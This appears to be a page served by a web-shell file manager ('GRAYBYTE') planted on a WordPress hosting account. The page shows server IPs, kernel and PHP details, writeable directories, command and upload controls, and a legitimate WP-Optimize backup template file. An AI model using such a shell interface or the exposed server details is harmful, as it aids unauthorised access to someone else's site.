GRAYBYTE WORDPRESS FILE MANAGER1579

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/chahida.co.in/wp-content/plugins/wp-optimize/templates/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/chahida.co.in/wp-content/plugins/wp-optimize/templates//take-a-backup.php
<?php

if (!defined('WPO_VERSION')) die('No direct access allowed');

global $wpo_backup_initialized, $wpo_take_backup_checkbox_id;

$updraftplus_admin = empty($GLOBALS['updraftplus_admin']) ? null : $GLOBALS['updraftplus_admin'];
$updraftplus = empty($GLOBALS['updraftplus']) ? null : $GLOBALS['updraftplus'];

// Check if UpdraftPlus plugin status.
$updraftplus_status = $this->is_installed('UpdraftPlus - Backup/Restore');
$check_version = false;

// If UpdraftPlus Admin exists along with Method and active, then call the update modal.
if (is_a($updraftplus_admin, 'UpdraftPlus_Admin') && is_callable(array($updraftplus_admin, 'add_backup_scaffolding'))) {
	if (!$wpo_backup_initialized) {
		$updraftplus_admin->add_backup_scaffolding(esc_html__('Backup before running optimizations', 'wp-optimize'), array($updraftplus_admin, 'backupnow_modal_contents'));
	}
	$wpo_backup_initialized = true;
	$check_version = true;
} else {

	// When pulling this template from UDC-RPC it gives $updraftplus_admin as null and the above condition
	// will always result into $disabled_backup = 'disabled', making the backup checkbox on UDC unclickable,
	// this makes sense since we're not logging directly into the admin dashboard but through UDC. Since,
	// we're giving the user an option to make a backup using UDP before optimizing on UDC, therefore we
	// need a way to enable the checkbox (making it clickable), giving control to the user whether he or she
	// needs to backup before running the optimization process.
	//
	// Having to check whether UDP is installed and active is enough for UDC to run its local backup process
	// if the user wishes to backup before optimizing. Of course, when $updraftplus_admin is null we assumed
	// that the request is coming from UDC-RPC.
	if (null === $updraftplus_admin && true === $updraftplus_status['installed'] && true === $updraftplus_status['active']) {
		$disabled_backup = '';
		$check_version = true;

	} else {
		// Disabled UpdraftPlus.
		$disabled_backup = 'disabled';
	}
}

if (true === $check_version) {
	// Check version.
	if (version_compare($updraftplus->version, '1.12.33', '<')) {
		$disabled_backup = 'disabled';
		$updraftplus_version_check = true;
	} else {
		$disabled_backup = '';
		$updraftplus_version_check = false;
	}
}

$label_text = (isset($label) && '' !== $label) ? $label : __('Take a backup with UpdraftPlus before doing this', 'wp-optimize');

if (!isset($default_checkbox_value)) {
	$default_checkbox_value = 'false';
}

$option_value = $options->get_option($checkbox_name, $default_checkbox_value);

$is_checked = ('true' == $option_value);

?>
<p class="wpo-take-a-backup">
	<input class="enable-auto-backup" name="<?php echo esc_attr($checkbox_name); ?>" id="<?php echo esc_attr($checkbox_name); ?>" type="checkbox" value="true" <?php checked($is_checked);?> <?php echo esc_attr($disabled_backup); ?> />
	<label for="<?php echo esc_attr($checkbox_name); ?>"> <?php echo esc_html($label_text); ?> </label>

	<?php
	// UpdraftPlus is not installed.
	if ('disabled' == $disabled_backup && !$updraftplus_status['installed']) {
		echo '<small><a href="'.esc_url(wp_nonce_url(self_admin_url('update.php?action=install-plugin&plugin=updraftplus'), 'install-plugin_updraftplus')).'"> '.esc_html__('Follow this link to install UpdraftPlus, to take a backup before optimization', 'wp-optimize').' </a></small>';
	} else {
		// Build activate url.
		$activate_url = add_query_arg(array(
			'_wpnonce'    => wp_create_nonce('activate-plugin_updraftplus/updraftplus.php'),
			'action'      => 'activate',
			'plugin'      => 'updraftplus/updraftplus.php'
		), network_admin_url('plugins.php'));

		// If is network admin then add to link network activation.
		if (is_network_admin()) {
			$activate_url = add_query_arg(array('networkwide' => 1), $activate_url);
		}

		// Check updraftplus version first.
		if (!empty($updraftplus_version_check)) {
			echo '<small>'.esc_html__('UpdraftPlus needs to be updated to 1.12.33 or higher in order to backup the database before optimization.', 'wp-optimize').' <a href="'.esc_url(admin_url('update-core.php')).'">'.esc_html__('Please update UpdraftPlus to the latest version.', 'wp-optimize').'</a></small>';
		} else {
			if ($updraftplus_status['installed'] && !$updraftplus_status['active']) {
				echo '<small><a href="'.esc_url($activate_url).'"> '.esc_html__('UpdraftPlus is installed but currently not active.', 'wp-optimize').' '.esc_html__('Follow this link to activate UpdraftPlus, to take a backup before optimization.', 'wp-optimize') .'</a></small>';
			}
		}
	}
	?>
</p>

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:24
giriqfky / giriqfky
0755
cache
--
July 10 2025 04:32:24
giriqfky / giriqfky
0755
database
--
July 10 2025 04:32:24
giriqfky / giriqfky
0755
images
--
July 10 2025 04:32:24
giriqfky / giriqfky
0755
minify
--
July 10 2025 04:32:24
giriqfky / giriqfky
0755
notices
--
July 10 2025 04:32:24
giriqfky / giriqfky
0755
performance
--
July 10 2025 04:32:24
giriqfky / giriqfky
0755
settings
--
July 10 2025 04:32:24
giriqfky / giriqfky
0755
status
--
July 10 2025 04:32:24
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:24
giriqfky / giriqfky
0644
admin-medialibrary-smush-column.php
2.028 KB
October 22 2024 22:25:00
giriqfky / giriqfky
0644
admin-metabox-smush-settings.php
3.629 KB
September 16 2024 16:17:24
giriqfky / giriqfky
0644
admin-metabox-smush.php
3.518 KB
September 16 2024 16:17:24
giriqfky / giriqfky
0644
admin-page-header-tabs.php
2.329 KB
May 01 2025 14:24:58
giriqfky / giriqfky
0644
admin-page-header.php
2.375 KB
March 03 2025 22:03:20
giriqfky / giriqfky
0644
handlebars-compiled-4-2-2.js
13.178 KB
June 02 2025 17:15:44
giriqfky / giriqfky
0644
info-message.php
0.121 KB
August 09 2023 18:49:12
giriqfky / giriqfky
0644
modal.php
0.351 KB
August 09 2023 18:49:12
giriqfky / giriqfky
0644
pages-menu.php
2.262 KB
May 01 2025 14:24:58
giriqfky / giriqfky
0644
take-a-backup.php
4.482 KB
March 03 2025 22:03:20
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF